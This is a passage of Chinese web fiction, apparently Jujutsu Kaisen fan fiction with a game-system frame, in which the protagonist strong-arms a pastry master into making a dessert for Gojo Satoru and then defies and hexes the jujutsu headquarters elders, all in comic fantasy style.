遑论以川村大师在甜点界的超高知名度,来自电视新闻、报纸、杂志的采访隔三岔五都有,从来没有断过。 而羽取一真刚才排的队尾离店门口有十来米的距离,因此,始终在店内忙碌的店员也没有人发现这位青年在一分钟前,身份还是顾客。 “噢噢,原来如此……” 羽取一真的这段说辞实在无懈可击,那位店员对他的态度立刻变得更恭谨了些,但再开口时的话语变得十分苦恼。 “是这样的,川村大师从昨天开始就突然不来店里了,无论打电话还是敲门都没有回应,但邻居又说晚上能听见从他房间里传来的窃窃私语,像是在……念经。” 羽取一真沉吟片刻,问道。 “他以前会念经吗?” 店员摇头:“从来没听过他信佛。” “我明白了。” 羽取一真颔首,“毕竟我身负采访任务,不能拿着这种像是在偷懒的借口回去复命。请问可以提供给我川村大师的住址吗?我不得不去叨扰片刻。” 以他对这款游戏的世界观设定来判断,川村大师十有八九是被什么咒灵缠上了。 毕竟伏黑惠说过咒力的唯一来源是负面情绪,而咒灵则是由普通人流露的负面情绪不断累积、沉淀,最终诞生出来的产物。 “好的,请您稍等。” 店员微微鞠躬,从柜台的抽屉里拿出便利贴与笔,开始写地址。 与此同时,羽取一真的眼前浮现出弹窗。 【当前触发委托: 川村大师的困扰:川村大师似乎被麻烦的东西缠上了,请在他死亡前帮忙解决那个“麻烦”。 死亡倒计时:3:59/4:00。 奖励:获得辅助技能[戒禁取见]。】 看见倒计时出现的羽取一真顿时一惊。 这哪是川村大师的死亡倒计时,分明是[神之甜品]的死亡倒计时啊! 接过那张便利贴的羽取一真转身就走,衣角带风,把正要开口说点客套话的店员都愣在原地,只能望着这位青年用比来时更冷硬的表情、更急切的步伐,迅速离开店铺,转眼间就不见了身影。 店员张了张口,突然对痛快给出了地址的自己感到几分心虚。 他应该,不是,打算上门揍老板一顿吧…… 得到地址的羽取一真才不管店员怎么想,他打开手机比照了下地图,确认这位大师家住的不远后,索性在路边拦了辆出租车,直接敢赴目的地。 咯吱。 木轴发出艰涩的转动声。 “-.-..--.-.-.---/--..-.----.....” 听不清内容的呓语,从门口,从角落,从天花板,从每一寸空气的震动中回荡,交叠,又反馈成更低沉的嗡鸣。 蜷坐在壁橱最深处的男人双手抱住脑袋,两天没有进食喝水的嘴唇早已干裂,牙关却始终紧咬,就像这样能抵御那好似要钻入每一个毛孔中的疯狂与混乱。 他一开始还会尝试求救或挣扎,现在早就放弃了。 至于怪物到底是从哪里来的,为什么盯上了他,这种问题哪怕在最初被他质问出声,也根本得不到任何回应。 “-..-.--...------/-.-----..-..-.-” 偌大的眼珠组成佛串,被拿在掌中拨动。 那些佛珠的每一次切换位置、瞳孔的每一次转动扫视间,男人都觉得自己的感知出现了问题——天与地颠倒,黑与白混乱,香氛的气味化作尖锐的刀锋,在肌肤上来回切割。 他感到自己在逐步走向死亡,哪怕这过程是如此的漫长,以至于连痛苦都逐渐迟钝,就这样迎来解脱也…… 砰! 当第一声枪声响起时,他还以为自己听错了。 但紧接着,连续数声干脆的枪响不仅彻底打断无尽的呓语,也让他缓慢放下了抱住脑袋的手。 颠倒的空间,混乱的光影,错位的五感……原来都是他的幻觉? “我……得救了?” 视线再度变得清晰,他望着不停颤抖的双手,喃喃出声。 “那倒没有。” 这句冷淡的话,从他的上方传来——男人的身体一僵。 那把连续响起数次的手枪,此刻被握在闯入他家的陌生青年掌中,就这样明晃晃的垂在他眼前。 “限你一个小时,做一份[神之甜品]给我。” 21、第 21 章 川村大师不明白为什么会有一个持枪歹徒冲进他家,几枪干掉了不知道是什么怪物的东西,却只为了强迫他做一份甜品。 难道这个人完全不怕那种超自然似的恐怖怪物吗!? 而这个歹徒,现在还一边擦拭手中的那把枪,一边盯着他做甜品——川村大师甚至能感受到那股漆黑的视线犹如实质,牢牢钉在他的后背。 似乎手中的面粉揉慢了一点,那把枪口就会直接抵上他的脑袋。 川村大师手下不自觉加快了动作,尚未消散的恐惧再度以一种奇妙的方式扼住了他的心脏,却又难以消除那份难耐的探究欲望。 “我……到底遭遇的是什么?”他犹犹豫豫开口,“就,那种东西。” 羽取一真看了眼川村大师手下的动作,确定他只是用嘴问话、没有在做甜品上偷懒后,便开口回答了这个问题。 “那是一只咒灵。大概是同行里嫉恨你的人太多,负面情绪的指向性很强,所以生成了那种会让人陷入幻觉的东西,专门冲你而来。” “…………”川村大师惊到揉面的手一抖,“那为什么是……扭曲的佛陀?” “我怎么会知道。” 羽取一真困惑瞥了对方一眼。 他看起来像是研究咒灵的专家吗?谁刷怪升级的时候还去管怪是怎么生成的,只会在意怪会掉什么稀缺材料。 不过这次委托的奖励还挺不错的,竟然是战斗中可使用的辅助技能。 【川村大师的困扰:咒灵已祓除。】 【获得奖励:辅助技能[戒禁取见]。】 【[戒禁取见]:在一定时间内内混淆目标的五感与知觉。具体效果在发动后随机,可中途解除,或持续发动至咒力量消耗殆尽。】 相当于一个让目标持续陷入混乱的软控,但看起来更像是对人类特攻。 毕竟他目前打咒灵都是依靠火力覆盖,不太用得上这种辅助技能。 但不管怎么说,多一个技能就多一种对敌方式,羽取一真还是比较满意这份奖励的。 而且,那只咒灵还掉了枚【准一级咒力结晶】,正躺在他的物品栏里。 至于[神之甜品]……羽取一真掏出手机看了眼时间,立刻出声催促那位动作慢吞吞的大师。 “还有四十分钟,快点。” 川村大师:“…………” 他还是头一次被人用这么不客气的态度催促着做甜品! 但想起那把被对方绕在指间把玩的左轮手枪,川村大师深吸口气,手上碾磨栗子泥的动作又快了点。 怎么说,对方也是从那种恐怖怨灵的手里把自己救出来的恩人……就当他对谁态度都这样吧……赶时间也不是不能理解…… 川村大师紧赶慢赶,终于在卡线前将[神之甜品]做好,恭敬递给这位救他一命的黑发青年。 幸好他在家也常常需要专研各种新作品,完全不缺材料与设备。 “这就是我花费半生心血研究出的作品,[神之甜品]。请您慢用。” 羽取一真接过那个纸盒,另一只手从怀里摸出用金币兑换出的日元纸钞,交给这位川村大师。 “咦,您……” 川村大师明显愣了一下,没想到特意跑来他家打劫甜品的歹徒,还会一手交钱一手交货,十分具备商业精神。 “我是来花钱买甜品的,”以及做委托。 羽取一真淡淡道,“救你只是附带义务。” 毕竟这个npc要是活不了,他的技能奖励和要买的甜品,也就都没了着落。 “…………” 川村大师默默捂住心脏。 什么,最不值钱的竟然是他的命!? ——看在川村大师刚从咒灵的幻觉折磨中脱离、身体还不大好的模样,羽取一真没有再多说什么,很是体贴的拎着甜品离开了。 还有一点时间,只要打车赶过去的话,很快就能到和五条悟越好的碰头地点了。 羽取一真辨认方向,沿着宽敞的街道上刚走两步路,就听见了熟悉的、愉快的招呼声。 “——哟!” 是狡黠笑着的,飞扬的,好似捧在手心的棉花糖那般又甜又轻盈的声线,让羽取一真脚下步伐一顿,目光立刻循着找了过去。 他脸上的表情没有明显波动,眼神却早已柔软下来。 “你是怎么找过来的?” 羽取一真开口,视线始终跟随着五条悟的举动,看着身高腿长的他轻而易举横跨过反向的人流,朝自己这边靠近。 不知为何,他的心好像也变得柔软了。 “我有一双很好的眼睛喔,” 站在他面前的五条悟唇角得意弯起,拉起了一点眼罩,让那只漂亮的雾蓝眼瞳冲羽取一真微微一眨——简直就是会心一击。 “它已经记住了你的咒力呢。所以啊,当它看见你在这里发动术式时,我就直接赶过来啦!” 说完这句话后,五条悟还冲羽取一真比了个拇指,得意洋洋地向对方自夸他可是个超体贴的niceguy! 原本是担心这位刚晋升一级咒术师不久的加茂家主会不会遇到什么危险,不过嘛,对方在战斗中的成长确实要比任何人都快呢。 羽取一真恍然,“竟然这么远都能看见……” 这听起来有点不可思议,但五条悟真的精准来到他面前,以一种相当令人惊喜的方式出现。 “给,这是你要的[神之甜品]。” 于是,羽取一真也顺势将拎在手中的[神之甜品]交给他,示意自己圆满了完成邮件里的嘱托。 “哇,超感谢——咦?” 五条悟开心接过那份甜品的动作途中微顿片刻,又将那个盒子捧高了,仔细的来回打量。 “这个纸盒包装,不是店里会用的那种欸,甚至连个logo都没有。你该不会……被骗了?” 五条悟的内心立刻塞满了超大份量的不爽情绪。 竟敢骗这么认真要帮他买甜点的羽取一真!他一定要…… “应该不会被骗。”羽取一真沉吟道,“我是用枪指着你说的那位川村大师,全程监督他做完的这份[神之甜品]。” 如果这样也会被骗,只能说那位川村大师是假的。 五条悟的内心自白突然哑火。 “用枪指着川村大师?” 再开口时,他的语气有点恍惚,还有点难以置信,“你直接去了他家?” “嗯,” 羽取一真点头回忆,“那个防盗门还挺结实,我用脚踹了几次没开,改用[黑闪]轰开的。” 结果,他一进去就见到那只咒灵在折磨川村大师。 捧着甜点的五条悟张大嘴:“…………” 他手里的川村限定且限量版[神之甜点],竟然是这么来的? 那位川村大师,该不会马上就要报警…… “不过,那只袭击川村大师的咒灵超弱的,我几枪就打死了。” 正在思考该如何摆平这件事的五条悟,听见对方继续说道。 “幸好我有假冒成记者采访,从店员那里拿到地址,否则你的[神之甜品],不对,川村大师就绝版了。” “——哧。” 怔愣半晌的五条悟,发出声好似没忍住的憋笑——而后,这笑声愈来愈明显,逐渐变得张扬又愉快。 “你也很疯狂啊,欸呀,真是完全出乎了我的意料,” 他抬手拍着羽取一真的肩,甚至直接伸过小臂,环住对方的脖颈,让这份互动也变得相当亲近,无视了路人纷纷投来的诧异目光。 “但我不讨厌哦。” ——五条悟笑着,又强调了一遍。 “嗯,完全不讨厌。” 羽取一真偏过视线,望着认真将刚才那句话说出口的五条悟,以及对方收回手、高高兴兴开始拆甜品包装的动作。 虽然不知道为什么漂亮大悟突然变得这么开心……但至少证明,他的这份好感度礼物没有送错。 【当前,与您有过接触的人物按好感度排列如下: 五条悟:61; 伏黑惠:10; 加茂宪纪:0; 加茂长吉:-100(已故); 加茂乃吉:-100; 加茂平七:-100; ……】 一口气涨了30,不愧是[神之甜品]的威力! 得到了这个好消息,羽取一真反而有点担心——其实与[神之甜品]一样,他给五条悟准备的[神秘甜品]也是蒙布朗。 只是他也对配方稍微做了改进,出来的成品是巧克力蒙布朗,而非最正宗的栗子蒙布朗。 万一漂亮大悟觉得[神秘甜品]不好吃,反而倒扣好感度怎么办呢…… “来——张嘴。” 听到这句话的羽取一真条件反射张嘴,随即被塞了一勺满满的栗子泥和奶油,唇齿间顿时浸透清甜的栗子香气,口感又格外细腻绵软。 当他回过神去看五条悟时,还能见到对方用指尖冲他来回晃着那把小勺,唇角的笑容得意,“如何?大师级别的甜品!” “嗯……好吃。” “欸?就这个态度?不行,再多吃两口,你就知道它比山行那边的甜品店到底美味多少倍了!” “唔……” “这间店还没关门耶,他家的新品也是超美味的!老板,来一份柚子柠檬蛋糕——” ………… 烛火昏暗的总监部会堂内,依照殿内的各个方位,分别布置有数道隔绝视线用的障门。 而此刻,空气是漫长的寂静。 寂静到几乎凝固,连蜡烛燃烧时融化的蜡油,都已在灯盏上堆出了厚厚几层。 早就该到的加茂家主,现在还没来。 倒是被派出去打探消息的人都回来了,敲门示意打扰。 “到底去做什么了,那个加茂家的小子!” 其中一扇障门背后,立即传出了几乎咬牙切齿的怒意。 对方恭敬回道:“和五条悟一起,在银座吃超豪华的晚餐料理。” 饿着肚子等到现在的总监部高层们:“…………” 22、第 22 章 等羽取一真和五条悟在银座吃饱喝足,再姗姗来到总监部面对质询的时候,这帮老人家已经气得要跳脚。 “你可还记得约定时间,加茂家主?” 其中一位的声音响起在障子门后时,简直是阴恻恻的,一听就没少憋着那满肚子气。 “何况,我等并未要求五条悟同行。你为何放他进来?” 这满含威胁与怒意的话语回荡在殿内,交叠出一种压迫意味十足的上位者姿态,但羽取一真压根不以为意。 他是来打游戏的,又不是来挨训的。 区区一帮老头npc,有本事进战斗看看能挨他几枪。 羽取一真站在这间风格森严的大殿内,根本不急着回答他们的质问,而是先慢吞吞打量一圈周围。 这里没有窗户,照明的蜡烛排布稀疏,乍一看比夜蛾校长那边还要黑灯瞎火,根本看不清殿内的全貌。 而在每扇障子门的背后,都影影绰绰的倒映有一个人型的轮廓,似乎就是那些总监部的高层了。 藏头露尾的,连脸都见不着。 “我就带悟过来又能怎样,你们来试试看把我们打出去?” 羽取一真在心里下了评估,这才冷淡开口,一句话就把所有总监部高层的怒意尽数噎了回去。 很显然,这帮老头打不过五条悟。 大概率连他都打不过。 而这句话也让羽取一真以加茂现任家主的身份,旗帜鲜明的表明了立场。 他就是无条件支持五条悟,管这帮总监部高层怎么想,他根本不在意。 五条悟双手插兜,只是站在羽取一真身边,充当掠阵的角色。 他并没有开口说话,但唇角始终上扬着,透出一种开心又嘚瑟的俏皮劲——要是让这些隔着障子门的高层看见,估计更会气得不轻。 “年轻人未免太过张狂,”另一人的声音也在这间大殿内冷冷响起。 “你不仅遮掩自身来历,又使计篡夺这加茂家主之位,根本没将总监部放在眼里!” “即使前任家主病逝,家主之位空缺,也不可能轮到你这不知从哪冒出来的小子继任!” 听到对方拿往日啰嗦他的语气来训斥羽取一真,五条悟的嘴角顿时一撇。 这话明显是在说他们特意找人去调查过羽取一真的来历,只是没什么收获而已。 唔,不过这也意味着总监部完全没找到家人或朋友之类的软肋拿捏对方——目前能调查到的唯一在意之人,还是捏起来比谁都硬邦邦的[当代咒术最强],他。 哈哈,吃瘪了吧,这帮标跳楼价也甩卖不出去的烂橘子! 想到这点,五条悟嘴角翘起,表情立刻又变得灿烂无比。 而他本人根本不在乎这位青年的来历,以及那明显是假名的【加茂家主】称呼。 毕竟,这双[六眼]能看见对方会为了让他开心,而在私下准备集邮活动;也会为了完成邮件里的承诺,直接上门打劫甜品。 即使在未来,这位加茂家主被揭露出暗藏有什么阴谋,或者这一切其实是想要算计他…… 但至少,当下的他愿意向这位已被视作友人的加茂家主交付信任,就像下午给出的那勺栗子泥与奶油,清甜又细腻。 嗯,毕竟对方的行事做派总是很合他的胃口嘛。 ——五条悟在心底愉快想着,也很期待对方会如何应对这些咒术界高层的刁难。 “什么叫我使计篡夺,” 听到这帮老头npc竟敢训斥他,羽取一真不满蹙起眉毛,语气冰冷下去。 “我花钱请他们吃那么多顿饭,客客气气的让他们都支持了我当家主,这也叫篡夺?那你们现在更应该高兴我没有选择杀光整个加茂家的核心成员,还给了他们劳动致富的机会。” 羽取一真希望这帮老头搞明白一点:选择不杀npc是玩家善,而不是玩家害怕惹上麻烦。 但这句威胁的内容太过震撼,石破天惊到让整座殿内陷入了漫长的死寂。 尤其是那些障子门后坐着的加茂长老们,感觉自己背上的冷汗都在往外淌。 感情现在只死了一个加茂长吉,还是这位家主高抬贵手的结果?? “还有你们也同样,” 羽取一真懒得等这帮老头给出反应,环顾四周,继续开口道。 “等开学后,我要去当东京高专的教师。谁支持,谁反对?” 羽取一真的这个问题,至少对于见识过他说开枪就开枪的加茂长老们而言,是完全不敢提出反对的。 但在对羽取一真了解不深的其余总监部高层看来,这根本就是彻底的、狂妄的羞辱与挑衅! 这种原本是把对方喊来给予下马威,结果反过来被压了气势的状况,简直令他们再也难以忍受! “放肆,你这个混账!” 火气大的其中一位,已经恨不得拍桌怒斥了,“区区加茂家主,你……” “你怎么能喊我加茂家主?你又不是加茂家的人。” 羽取一真双手环抱胸前,平静打断了他的话。 “我的真名是【英俊的爸爸】。你要喊我的话,就用这个名字吧。” 障子门后,那些加茂家的长老们不约而同做出了一个举动——以一种不忍耳闻的表情,抬手扶住额头。 完了,全完了。 你说你没事惹他干嘛,答应他当教师又没什么损失…… 而除开这帮受到过教训、全程安静如鸡的加茂家长老们,其余那些总监部高层几乎要气得倒仰了。 不仅饿着肚子干等这么久,还要被对方用言语羞辱! 欺人太甚!这小子欺人太甚!! “不知规矩的混账东西!” 哪怕知道羽取一真看不见,那位高层也仍然抬手指着他怒声呵斥,“你当老夫会真的喊你随口胡诌出的名字吗,你这英……英俊的爸爸!” “………………” 此音一落,满场死寂。 连五条悟都忍不住侧头,看向脸上始终没什么表情、气场沉稳又淡然的羽取一真。 这名字……应该不是认真的吧?话说他是怎么强制让对方喊出口的? 除去加茂长老们,所有总监部的人员都纷纷对着发声源侧目,不敢相信自己这边的同僚真将这名字喊出了声。 那居高临下的训斥气势瞬间矮了一大截,他们全平白无故成了这小子的晚辈。 重点是丢人啊!! 连被迫将这名字喊出的那位,也因随之而来的巨大愤怒而涨红了脸,手脚哆嗦,感觉脑袋上的血管都快爆炸。 “臭小子,你绝对是用了什么卑鄙无耻的手段,” 再次开口给自己找补时,他那声音尖锐的拔高了,语调也变得极其不稳,往日那副高高在上、运筹帷幄的傲慢仪态更是因这一声称呼而尽丧。 “以为这样就能让我等答应你的教师许可吗?妄想!!” 啊,都已经气到口齿不清了,好可怜哦。 五条悟不负责任的站旁边看热闹,脸上的愉快还勉强算是不明显,内心早就已经要被笑死。 再多来点,他爱看,再多来点! 正期待着接下来还会怎么发展的他突然发现,身边的黑发青年在听完这句话后,非常干脆的直接掏枪指向对方,一看就是打算用武力说服了! “欸等下,不行不行!” 满座哗然之中,他赶紧抬手压下那把左轮手枪——而对方也顺着他的力道,听话的乖乖垂下了手臂。 “不能在这里见血,你会被定性成诅咒师的,”五条悟小声和羽取一真咬耳朵。 “这是硬性规定,加茂家和五条家加起来,也没办法保下你。” “——这样啊,” 羽取一真若有所思点头,“也就是说,不见血就可以了。” 五条悟:“……嗯?” 就在五条悟以为羽取一真准备动手把对方打一顿之时,原本被压下的那把[血寄斗枪]再度抬起,目标却仅是挡住那人的障子门—— 砰! 一枪下去,单薄的纸门应声而裂,既露出了刚才讲话那老头惊骇的面容,也让羽取一真的【社交】界面里,出现了他的名字。 得知了名字,就意味着技能有了可选目标。 随即,羽取一真抬起没有拿枪的左手,握拳,食指与拇指扣拢,向着那人结出一个手印。 ——辅助术式[戒禁取见],发动。 23、第 23 章 起初,没人反应过来羽取一真做了什么。 毕竟他没有使用什么技能,就非要先将名字喊出口的习惯。 但羽取一真在发动术式的那瞬间,不仅结出了手印,还能感知到他的身上有咒力波动一闪而过。 那是一种被称为[兴]的咒之力,是展开领域、或发动必中术式前必定拥有的征兆。 ——即使他自己并不清楚这点设定,但在场的咒术界高层都是拥有咒力的术师,立刻能感知到羽取一真肯定发动了某个他们没见过的术式。 可大家的视线暗中来回逡巡,只能透过隐约除了那扇被一枪击碎成渣的障子门、以及惊魂未定、面露难色的同僚外,再没任何异样的情况发生。 类似五条悟那样动辄能轰掉整间大殿的强攻击系术式效果,更是连影子也没有。 非要说的话,他手中那把手枪在射击瞬间放出的咒力波动,还要更具有威胁性一些。 在不短的时间内,整座大殿里静悄悄的,所有人都在等羽取一真到底做了什么。 五条悟也在等,而且比所有人都要期待结果。 相较于只能用咒力进行粗略感知的那帮高层,他的[六眼]看得更细致,每一丝流动的咒力都倒映在那双漂亮至极的苍天蓝瞳里,再清晰不过得昭示出那位惊魂未定的老头身上,已经混杂进了羽取一真的咒力。 也就是说,术式的效果已经在持续生效中。 但为什么对方一点受到攻击的反应都没有,只是呆坐在那里,好似难以从之前那声枪击中回过神的模样? 五条悟实在好奇到不行了,侧过头小声问羽取一真到底发动了什么术式。 羽取一真也配合打开弹窗瞄了眼,轻声将结果告诉他。 [戒禁取见]是一个效果随机的软控技能,只知道会混淆目标的五感与知觉,但具体是怎么个混淆结果,他也得通过游戏的描述确认。 而此刻,羽取一真还能保持惯常淡然且平静的冷脸模样,听到效果的五条悟已经完全忍不下去了。 【[戒禁取见]:在一定时间内内混淆目标的五感与知觉。具体效果在发动后随机生成,可中途解除,或持续发动至咒力量消耗殆尽。】 【当前发动目标:前田康夫。】 【当前随机效果:赋予随机器官味觉。】 【随机器官:肛肠。】 这应该只是一个施加给目标的幻觉类术式,毕竟人体的那个部位又不可能真的存在味蕾……就是,这个随机出的效果……羽取一真只能说对方实在太过倒霉。 但得知答案的五条悟可不管这些。 “哈哈哈哈哈哈哈!!!” 这术式的效果实在深得他心,忍了片刻没忍住,五条悟索性很不给面子的开始放声大笑,压根不是一时半会能停下来的超级开心。 那一声又一声交叠荡起在这间大殿的回音里,都直白充斥着满满的幸灾乐祸和喜闻乐见——如果眼前有张榻榻米或沙发,他大概会笑到在上面打滚。 总监部的高层们目露茫然,根本不明白五条悟突然这么高兴的缘由。 “你…你为何发笑,五条悟!” 刚才被羽取一真发动[戒禁取见]术式的前田康夫,心底更是快要气急败坏,但表面上又尽力在稳住他那副惯常傲慢的仪态。 由于饿着肚子等了羽取一真大半天,他现在腹中空空,自然也没发觉身体出现了什么异样的变化,只当五条悟在笑话他刚才被枪声吓得出糗。 “在此处以性命要挟、恐吓我等,自以为背靠加茂和五条,就能高枕无忧了?” 情绪平复的前田康夫怒极反笑,立刻想要追究羽取一真的责任——他竟敢当着总监部所有高层的面,试图对他行凶! “狂妄的年轻人,你会为今天的不敬付出代价。” “哎呀,先付出代价的搞不好是你哦,老爷子。” 听到这句明目张胆威胁,五条悟的笑容收敛。 他不仅抢在羽取一真出声前先开口,甚至摆出一副超级无可奈何的模样摊了下手,怎么看怎么让前田康夫愈发火大。 “照顾您老人家的面子,我就不在这里揭破真相了——等你回去后想好要怎么求饶,再来联络我们这位加茂的新家主吧。” 五条悟抬手拍着羽取一真的肩膀,笑眯眯歪过脑袋。 “在那之前,他只需要赔一扇障子门的钱就够了。你们有什么异议吗?” 漫长的沉默里,没人发出声音。 此刻,五条家主摆明了要保下羽取一真,而加茂家也已变成对方的所有物。 至于前田康夫,他是[新·阴]那边招揽的门生,虽然同样身处咒术总监部的高层,但其自身更多代表的是以[新·阴流]为核心的派系势力,与御三家的人没什么关系。 因此,面对加茂家主和五条家主的双重威胁,再加上目前没有人员伤亡——羽取一真或许确实发动了某个术式,但看上去似乎并不具备杀伤力。 至少前田康夫眼下看着活蹦乱跳的,半点问题都没有。 在这股堪称诡异的沉默里,总监部高层与五条悟达成默契,假装刚才什么事情都没发生。 即使他们都心知以五条悟这快要笑出眼泪的状况,那个效果未知的术式绝对还在生效中。 但不管怎么说,明面上的大家都在等待另一只靴子落地,并不会挑在这种时候发难。 他们现在都已经见识到羽取一真雷厉风行、能动手就绝不打嘴仗的作风了,眼下根本不敢盲目出头。 即便把眼前这个加茂家主定性成诅咒师又怎样,对方要是心一横在这里把他们杀了,他们还能当场复活不成? 还有那个诡异的术式,至少得先知晓效果……不约而同的,所有人心头皆萦绕着一种非常不妙的预感。 能让五条家的小子笑成那样,绝对不是什么好消息。 “会谈到此为止,请回吧……加茂家的家主。” 另一位似乎地位更高的苍老声音响起。 “原本邀请你参加此次会议,便只为一晤加茂的新家主罢了。至于任命你为东京高专教师一事,总监部会额外进行商讨,予以答复。” 羽取一真来之前,这场会议的定义还是[质询];羽取一真和五条悟往这里一站,对方立刻狡猾地改变了这场会议的性质,将它说得好似只为了和新家主见见面。 而他获得的总监部支持率……羽取一真打开浮窗,看着委托里那标注【总监部的支持率:21%/50%】的进度,就知道对方压根没打算答应他当教师。 目前涨起来的支持率,大概率来自于悟那边的人,外加得知他想当高专教师的加茂家长老。 “是吗?” 关掉浮窗,羽取一真淡淡开口。 “说得好听,你甚至不愿叫一声我的名字。” 对方顿时被噎得一窒,险些要在心里大骂出声。 也不瞧瞧他那名字是人能喊的吗! 卑鄙!! 在这一刻,已经下地狱的加茂长吉与他产生了情感上的深切共鸣。 好在羽取一真也不是真的打算刁难对方——这帮npc藏头露尾的,系统里显示不出他们的名字,害他都没办法用【请客】来增加支持率。 但没关系,等后续术式效果传开,他们就会知道真正该支持的到底是谁。 当总监部的众人通过那扇能隐约描摹轮廓的障子门,看着五条悟以相当强势的守护姿态、单手搭着羽取一真的肩膀离开时,不禁纷纷长舒口气。 一个刺头还不够,现在来了个更刺头的。 冷酷到半点规矩也不讲,跟个凶神也没什么两样。 “康夫,”其中一人出声。 “你真的没察觉到自己中了什么术式吗?” 前田康夫迟疑片刻,又努力用咒力感知许久,还是缓慢摇头,甚至还冷哼一声。 “并没有,搞不好只是那小子在虚张声势。” ——当晚,某前田家。 有隐隐约约的声音传出。 “…yue……yue……!” 24-30 第24章 此时此刻, 总监部高层之一前田康夫,真正意识到了问题的严重性。 他的味觉并没有失灵,但在不该出现的地方出现了…! 那种坐立难安的痛楚、那种如骨附蛆的苦涩, 在每一次辗转反侧中, 都变得愈发鲜明。 甚至连牙关紧咬都做不到,他时不时就被恶心得想呕,但什么也吐不出来。 这也是当然的,毕竟这位可怜的老人家只是在遭受幻觉攻击,而并非真的在品尝一些难以言说的物体。 但这个由羽取一真施加给他的术式,效果已经离谱到让前田康夫感觉生不如死。 怎么会有这样的术式! 混账!! 竟然会有如此恶心人的术式!!! 眼下, 他唯一能祈祷的就是这个术式效果并非永久持续的类型,只需忍耐一段时间就会自行解除…… 可恶的臭小子! 前田康夫咬牙切齿, 却对这份多出来的味觉丝毫没有办法, 只能独自在家煎熬着, 苦苦忍耐。 等他恢复, 看他不……yue……看他不彻底要这个混账好看……yue……啊啊啊气煞他也!! 面对这难以向任何人提起的耻辱效果,前田康夫几乎要抓狂——硬是在这白发苍苍的一把年纪, 以混到堂堂咒术总监部高层的资历,险些给这见鬼的术式效果气出心梗。 ——而另一边,五条悟也在问羽取一真。 “你的那个……术式,” 他说到后面那个单词时, 话语很明显停顿了片刻——甚至还带着根本憋不住的笑意。 “持续时间是多久?” 像生得术式这种伴随术师而生的能力, 通常只有一个,且效果因人而异。 好比御三家, 哪怕有血统传承,也未必能确保自己的后代百分之百觉醒出御三家相关的祖传术式。 像羽取一真这样拥有复数术式的,连记载里的先例都实在太过稀少。 不过, 这点小事在五条悟这里已经完全排不上号了。 他实在太好奇对方的术式持续效果啦! 是目标只要尝到一定时间就终止吗?还是永久持续发动的类型? 难得能见到那帮老家伙吃瘪,还是吃了坨大的——他光是想一下就能笑到肚子疼! “嗯……效果是一直持续到我主动解开术式,或是我的咒力被消耗光为止。” 羽取一真看了眼自己那正在稳定下降的咒力量状态。 “按照目前的消耗速度,大概还有半天就会自动停止。” 到那时,施加在前田康夫身上的幻觉就会消散。 下次发动时,要是还想随机到这个逆天效果,可能会有点难度了。 “咦,只能撑半天了啊。” 听到羽取一真估算结果的五条悟顿时有点失望。 他今天难得又轮上休息,便约了羽取一真出来闲逛,往日戴着的眼罩也换成了偏椭圆的休闲墨镜,衬衫与长裤的搭配穿着更是随意。 此刻,他那头被放下的白毛尖尖好似也让人总感觉跟着有点蔫,柔软地耷拉着。 唉呀,他还想多看点那群人的笑话呢。 羽取一真见到五条悟的反应——虽然这声遗憾感叹听上去很坏心眼,但架不住这个拉长音的软绵绵腔调实在可爱——于是,他开口安慰对方道。 “也不是没有延长效果的办法。” “哦?” 一听这话,蔫巴的白毛尖尖瞬间又翘了起来。 羽取一真从物品栏里取出那枚还没来得及吸收的【准一级咒力结晶】。 “这是祓除那只佛陀咒灵后掉落的,还没来得及吃。” 而【咒力结晶】,除了可以增加咒力量上限,另一个附加效果就是补充咒力——类似于其它游戏里回蓝的药水。 也就是说,只要他一直有【咒力结晶】续上被[戒禁取见]技能消耗的咒力量,就能一直保持它的效果不会自动解除。 算是卡了个良性bug?但谁让他先挑衅玩家的。 羽取一真无慈悲的想道。 本来他都打算开枪降低支持率的分母了,要不是悟及时劝阻,那老头npc早就跟加茂长吉作伴去了。 这么一说,那老头还得谢谢他呢。 到目前为止,羽取一真或许还不太清楚这个游戏的详细设定内容,但有一点可以肯定:这游戏里和咒术扯上关系的老头npc,基本都是和他对着干的。 既然是跟他对着干的,那他依靠嗑结晶来恢复咒力、以此不断延长技能效果什么的,不是件很合理的事情吗。 “哈哈哈哈哈,真的?” 一听这语气,羽取一真就知道悟也是这么想的——而且对方的动作更快,一手拉起他,另一只手已经开始打电话给伊地知洁高了! “喂伊地知,附近的咒灵分布,快点啦,全部给我!是全部哦!包括一级以下的我也要!” “是……啊,咦,欸?五条先生今天不是难得能休息吗?” 伊地知洁高习惯性的高声应是,到一半才反应过来不对劲,满脸写着困惑与迟疑。 按理来说,昨天晚上赶回东京的五条先生,今天也因为任务被其他咒术师分担而得到了宝贵的休假才对……怎么突然这么积极的抢着要做任务? 虽说五条先生平时也不会排斥到处出差完成任务,但现在这通电话的语气太期待了,期待到反常,让他好不习惯! “我就是在处理自己的事情啊,伊地知。” 五条悟的声音透过电话传来,格外理直气壮,“快点快点,要是耽误了我的急事——” “啊是,稍等片刻就好!” 没说完的话语充满暗示,让伊地知洁高惊了一跳,立刻不再多做质疑。 “——好嘞搞定。” 等通话结束,五条悟那拖着长长尾音的低沉话锋立刻就是一转,变得活泼又开心,每个字都透出好似即将春游的期待感。 可能连他成为五条家主的那天,心情也未必会有此刻的如此愉快。 “走,我们现在就去祓除咒灵,争取多打点结晶给你,给那术式无限期续上!” “好。” 羽取一真有点想笑,任由他推着上了出租车,先赶往用[六眼]就能发现的咒灵出没地。 能用这种不着痕迹、又可以把对方恶心到生理意义上吐出来的方式,好好出一口他之前在总监部那边受过的气,五条悟可真是太高兴了。 如果不是要等着前田康夫主动上门向羽取一真赔罪,他肯定会特意、亲自、上门、去拜访那位老人家,关心关心对方的身体。 顺便开心一下自己。 因此,在察觉到身旁那双始终沉静的黑瞳向他看过来时,五条悟也不吝啬于为这位已经被他划分到友人行列的青年解惑。 “别看他们昨晚那样,真的找起茬来,可是群很麻烦的老家伙哦?” 五条悟摇了摇头,用一种很无奈的口吻叹气道。 “明哲保身的蠢货、世袭的蠢货、傲慢的蠢货、以及单纯的蠢货,一大群死脑筋的保守派聚集在一起,就是你见到的所谓[总监部]了。” 羽取一真若有所思片刻,出声问道。 “你之前,经常受到他们刁难吗?” “刁难的话,无论什么时候都有啦,反正我和他们的意见从来没有达成一致过。” 五条悟笑起来,“只要出了点什么事,我又不打算依照他们那老一套的规矩来,就会被叫过去开会吧。” “不过,他们也只能口头找找我的茬而已,就算对我再如何不满,也做不到更多事情了。” 清楚看见羽取一真眼底明显浮现出不满的情绪,他比了个手刀的架势,半是耍帅半是安抚道。 “因为啊,我是最强的。” “有多强?”羽取一真好奇道。 